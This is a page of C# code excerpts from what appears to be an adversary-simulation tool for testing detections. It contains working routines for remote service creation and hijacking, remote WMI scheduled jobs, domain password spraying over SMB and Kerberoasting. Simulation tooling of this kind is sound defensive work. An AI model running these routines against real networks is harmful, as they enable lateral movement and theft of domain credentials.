                        Console.WriteLine("[*] Missing dc :( ");
                        Console.WriteLine("[*] Exiting");
                        return;
                    }
                }
                else
                {
                    Console.WriteLine("[*] Missing parameters :( ");
                    Console.WriteLine("[*] Exiting");
                    return;
                }
            }
            // running simulations locally
            else if (!techniques.Equals(""))
            {
                ExecuteTechniques(techniques, nusers, nhosts, pbsleep, tsleep, log, cleanup);
            }
        }
Esempio n. 18
0
        public static void CreateRemoteServiceApi(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            var scmHandle  = IntPtr.Zero;
            int createdErr = 0;

            if (!computer.Fqdn.Equals(""))
            {
                scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }
            else if (!computer.ComputerName.Equals(""))
            {
                scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }
            else
            {
                scmHandle = WinAPI.OpenSCManager(computer.IPv4, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }

            if (scmHandle == IntPtr.Zero)
            {
                createdErr = Marshal.GetLastWin32Error();
                logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn));
                throw new Win32Exception(createdErr);
            }

            IntPtr svcHandleCreated = IntPtr.Zero;
            bool   created          = CreateService(scmHandle, playbook_task.servicePath, playbook_task.serviceName, playbook_task.serviceName, out svcHandleCreated, out createdErr);;

            if (created)
            {
                logger.TimestampInfo(String.Format("Created service '{0}' on {1} with 'CreateService' Win32 API", playbook_task.serviceName, computer.ComputerName));

                WinAPI.StartService(svcHandleCreated, 0, null);
                logger.TimestampInfo(String.Format("Service '{0}' started on {1} with 'StartService' Win32 API", playbook_task.serviceName, computer.ComputerName));

                if (playbook_task.cleanup)
                {
                    IntPtr svcHandleOpened = WinAPI.OpenService(scmHandle, playbook_task.serviceName, Structs.SERVICE_ACCESS.SERVICE_ALL_ACCESS);
                    bool   deletedService  = WinAPI.DeleteService(svcHandleOpened);
                    logger.TimestampInfo(String.Format("Deleted service '{0}' on {1} with 'DeleteService' Win32API", playbook_task.serviceName, computer.ComputerName));
                    WinAPI.CloseServiceHandle(svcHandleOpened);
                }
                else
                {
                    logger.TimestampInfo(String.Format("The created Service: {0} was not deleted on {1} as part of the simulation", playbook_task.serviceName, computer.ComputerName));
                }
            }

            else
            {
                // service was not created

                if (createdErr == 1073)
                {
                    // Error: "The specified service already exists"
                    logger.TimestampInfo(String.Format("Failed to create service {0} on {1}. Service already exists", playbook_task.serviceName, computer.ComputerName));
                }
                else
                {
                    // Some other serice creation error
                    logger.TimestampInfo(String.Format("Failed to create service {0} on {1}.", playbook_task.serviceName, computer.ComputerName));
                    throw new Win32Exception(createdErr);
                }
            }
            WinAPI.CloseServiceHandle(svcHandleCreated);
            WinAPI.CloseServiceHandle(scmHandle);
        }
Esempio n. 19
0
        //Based on https://github.com/Mr-Un1k0d3r/SCShell
        public static void ModifyRemoteServiceApi(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            var    scmHandle   = IntPtr.Zero;
            int    createdErr  = 0;
            int    bytesNeeded = 0;
            IntPtr qscPtr      = IntPtr.Zero;


            if (!computer.Fqdn.Equals(""))
            {
                scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }
            else if (!computer.ComputerName.Equals(""))
            {
                scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }
            else
            {
                scmHandle = WinAPI.OpenSCManager(computer.IPv4, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
            }

            if (scmHandle == IntPtr.Zero)
            {
                createdErr = Marshal.GetLastWin32Error();
                logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn));
                throw new Win32Exception(createdErr);
            }
            if (!playbook_task.serviceName.Equals("random"))
            {
                IntPtr svcHandleOpened = WinAPI.OpenService(scmHandle, playbook_task.serviceName, Structs.SERVICE_ACCESS.SERVICE_ALL_ACCESS);
                if (svcHandleOpened == IntPtr.Zero)
                {
                    logger.TimestampInfo(String.Format("Could not obtain a handle to remote Service {0}.", playbook_task.serviceName));
                    throw new Win32Exception(createdErr);
                }
                Structs.QueryServiceConfig qscs = new Structs.QueryServiceConfig();
                int retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, 0, ref bytesNeeded);
                if (retCode == 0 && bytesNeeded == 0)
                {
                    throw new Win32Exception();
                }

                qscPtr  = Marshal.AllocCoTaskMem((int)bytesNeeded);
                retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, bytesNeeded, ref bytesNeeded);
                logger.TimestampInfo(String.Format("Got handle for remote Service {0}.", playbook_task.serviceName));
                qscs = (Structs.QueryServiceConfig)Marshal.PtrToStructure(qscPtr, new Structs.QueryServiceConfig().GetType());
                string originalBinaryPath = Marshal.PtrToStringAuto(qscs.binaryPathName);
                logger.TimestampInfo("Original binary path " + originalBinaryPath);

                bool serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, playbook_task.servicePath, null, null, null, null, null, null);
                if (!serviceChanged)
                {
                    logger.TimestampInfo(String.Format("Could not modify remote Service '{0}'.", playbook_task.serviceName));
                    throw new Win32Exception(createdErr);
                }
                logger.TimestampInfo(String.Format("Succesfully modified remote Service '{0}' using ChangeServiceConfig.", playbook_task.serviceName));

                WinAPI.StartService(svcHandleOpened, 0, null);
                logger.TimestampInfo(String.Format("Service '{0}' started  with new ServicePath {1}", playbook_task.serviceName, playbook_task.servicePath));
                Thread.Sleep(3000);

                serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, originalBinaryPath, null, null, null, null, null, null);
                if (serviceChanged)
                {
                    logger.TimestampInfo(String.Format("Restored remote Service '{0}' to the original path.", playbook_task.serviceName));
                }
            }
        }
Esempio n. 20
0
        public static void CreateRemoteScheduledTaskWmi(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            string target = "";

            if (!computer.Fqdn.Equals(""))
            {
                target = computer.Fqdn;
            }
            else if (!computer.ComputerName.Equals(""))
            {
                target = computer.ComputerName;
            }
            else
            {
                target = computer.IPv4;
            }

            try
            {
                ConnectionOptions connectoptions = new ConnectionOptions();
                connectoptions.EnablePrivileges = true;



                //var processToRun = new[] { playbook_task.command };
                object[] cmdParams = { playbook_task.command, DateTimetoUTC(DateTime.Now.AddMinutes(1)), false, null, null, true, 0 };
                var      wmiScope  = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", target), connectoptions);

                wmiScope.Connect();
                Console.WriteLine("Connected");

                var wmiScheduledJob = new ManagementClass(wmiScope, new ManagementPath("Win32_ScheduledJob"), new ObjectGetOptions());

                ManagementBaseObject inParams = wmiScheduledJob.GetMethodParameters("Create");
                string StartTime = DateTimetoUTC(DateTime.Now.AddMinutes(1));
                Console.WriteLine(StartTime);
                inParams["StartTime"] = "20101129105409.000000+330";
                inParams["Command"]   = "notepad.exe";
                //inParams["InteractWithDesktop"] = true;
                //inParams["RunRepeatedly"] = true;
                //inParams["Caption"] = "Suspicious ScheduledTask";
                ManagementBaseObject outParams = wmiScheduledJob.InvokeMethod("Create", inParams, null);
                Console.WriteLine("JobId: " + outParams["JobId"]);
                Console.ReadKey();


                //wmiScheduledJob.InvokeMethod("Create", cmdParams);
                logger.TimestampInfo(String.Format("Successfully created a scheduled task remotely {0} using WMI's Win32_ScheduledJob on {1}", playbook_task.command, target));
            }
            catch (Exception ex)
            {
                //DateTime dtime = DateTime.Now;
                if (ex.Message.Contains("ACCESSDENIED"))
                {
                    logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. (Access Denied)", target));
                }
                else
                {
                    logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. {1}", target, ex.GetType()));
                }
            }
        }
Esempio n. 21
0
        public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1110.003");
            logger.TimestampInfo(String.Format("Remote Domain Brute Force using the WNetAddConnection2 Win32 API function"));
            bool            Kerberos     = false;
            List <Computer> host_targets = new List <Computer>();
            List <User>     user_targets = new List <User>();
            List <Task>     tasklist     = new List <Task>();
            string          domain       = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;

            try
            {
                if (playbook_task.user_target_type == 99)
                {
                    domain = ".";
                }
                // Executing a remote authentication with Kerberos will not connect to the remote host, just the DC.
                Kerberos = false;

                host_targets = Targets.GetHostTargets(playbook_task, logger);
                user_targets = Targets.GetUserTargets(playbook_task, logger);
                //if (playbook_task.protocol.ToUpper().Equals("NTLM")) Kerberos = false;
                if (playbook_task.task_sleep > 0)
                {
                    logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep));
                }

                if (playbook_task.host_target_type == 1 || playbook_task.host_target_type == 2)
                {
                    //Remote spray against one target host
                    //Target host either explictly defined in the playbook or randomly picked using LDAP queries
                    foreach (User user in user_targets)
                    {
                        User tempuser = user;
                        //int tempindex = index;
                        //if (playbook_task.task_sleep > 0 && tempindex > 0) Thread.Sleep(playbook_task.task_sleep * 1000);
                        if (playbook_task.task_sleep > 0)
                        {
                            Thread.Sleep(playbook_task.task_sleep * 1000);
                        }
                        tasklist.Add(Task.Factory.StartNew(() =>
                        {
                            CredAccessHelper.RemoteSmbLogin(host_targets[0], domain, tempuser.UserName, playbook_task.spray_password, Kerberos, logger);
                        }));
                    }
                    Task.WaitAll(tasklist.ToArray());
                }

                else if (playbook_task.host_target_type == 3 || playbook_task.host_target_type == 4)
                {
                    //Remote spray against several hosts, distributed
                    //Target hosts either explictly defined in the playbook or randomly picked using LDAP queries
                    int loops;
                    if (user_targets.Count >= host_targets.Count)
                    {
                        loops = host_targets.Count;
                    }
                    else
                    {
                        loops = user_targets.Count;
                    }

                    for (int i = 0; i < loops; i++)
                    {
                        int temp = i;
                        if (playbook_task.task_sleep > 0 && temp > 0)
                        {
                            Thread.Sleep(playbook_task.task_sleep * 1000);
                        }
                        tasklist.Add(Task.Factory.StartNew(() =>
                        {
                            CredAccessHelper.RemoteSmbLogin(host_targets[temp], domain, user_targets[temp].UserName, playbook_task.spray_password, Kerberos, logger);
                        }));
                    }
                    Task.WaitAll(tasklist.ToArray());
                }

                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 22
0
        public static void Kerberoasting(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1558.003");
            List <String> servicePrincipalNames;

            if (playbook_task.task_sleep > 0)
            {
                logger.TimestampInfo(String.Format("Sleeping {0} seconds between each service ticket request", playbook_task.task_sleep));
            }

            try
            {
                logger.TimestampInfo(String.Format("Querying LDAP for Service Principal Names..."));
                servicePrincipalNames = Ldap.GetSPNs();
                logger.TimestampInfo(String.Format("Found {0} SPNs", servicePrincipalNames.Count));


                if (playbook_task.variation == 1)
                {
                    logger.TimestampInfo(String.Format("Requesting a service ticket for all the {0} identified SPNs", servicePrincipalNames.Count));
                    foreach (String spn in servicePrincipalNames)
                    {
                        SharpRoast.GetDomainSPNTicket(spn.Split('#')[0], spn.Split('#')[1], "", "", logger);
                        if (playbook_task.task_sleep > 0)
                        {
                            Thread.Sleep(playbook_task.task_sleep * 1000);
                        }
                    }
                    logger.SimulationFinished();
                }
                else if (playbook_task.variation == 2)
                {
                    var random = new Random();
                    logger.TimestampInfo(String.Format("Requesting a service ticket for {0} random SPNs", playbook_task.user_target_total));

                    for (int i = 0; i < playbook_task.user_target_total; i++)
                    {
                        int index = random.Next(servicePrincipalNames.Count);
                        SharpRoast.GetDomainSPNTicket(servicePrincipalNames[index].Split('#')[0], servicePrincipalNames[index].Split('#')[1], "", "", logger);
                        if (playbook_task.task_sleep > 0)
                        {
                            Thread.Sleep(playbook_task.task_sleep * 1000);
                        }
                    }
                    logger.SimulationFinished();
                }
                else if (playbook_task.variation == 3)
                {
                    var random = new Random();
                    logger.TimestampInfo(String.Format("Requesting a service ticket for {0} defined SPNs", playbook_task.user_targets.Length));

                    foreach (string spn in playbook_task.user_targets)
                    {
                        SharpRoast.GetDomainSPNTicket(spn.Split('#')[0], spn.Split('#')[1], "", "", logger);
                        if (playbook_task.task_sleep > 0)
                        {
                            Thread.Sleep(playbook_task.task_sleep * 1000);
                        }
                    }
                    logger.SimulationFinished();
                }
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }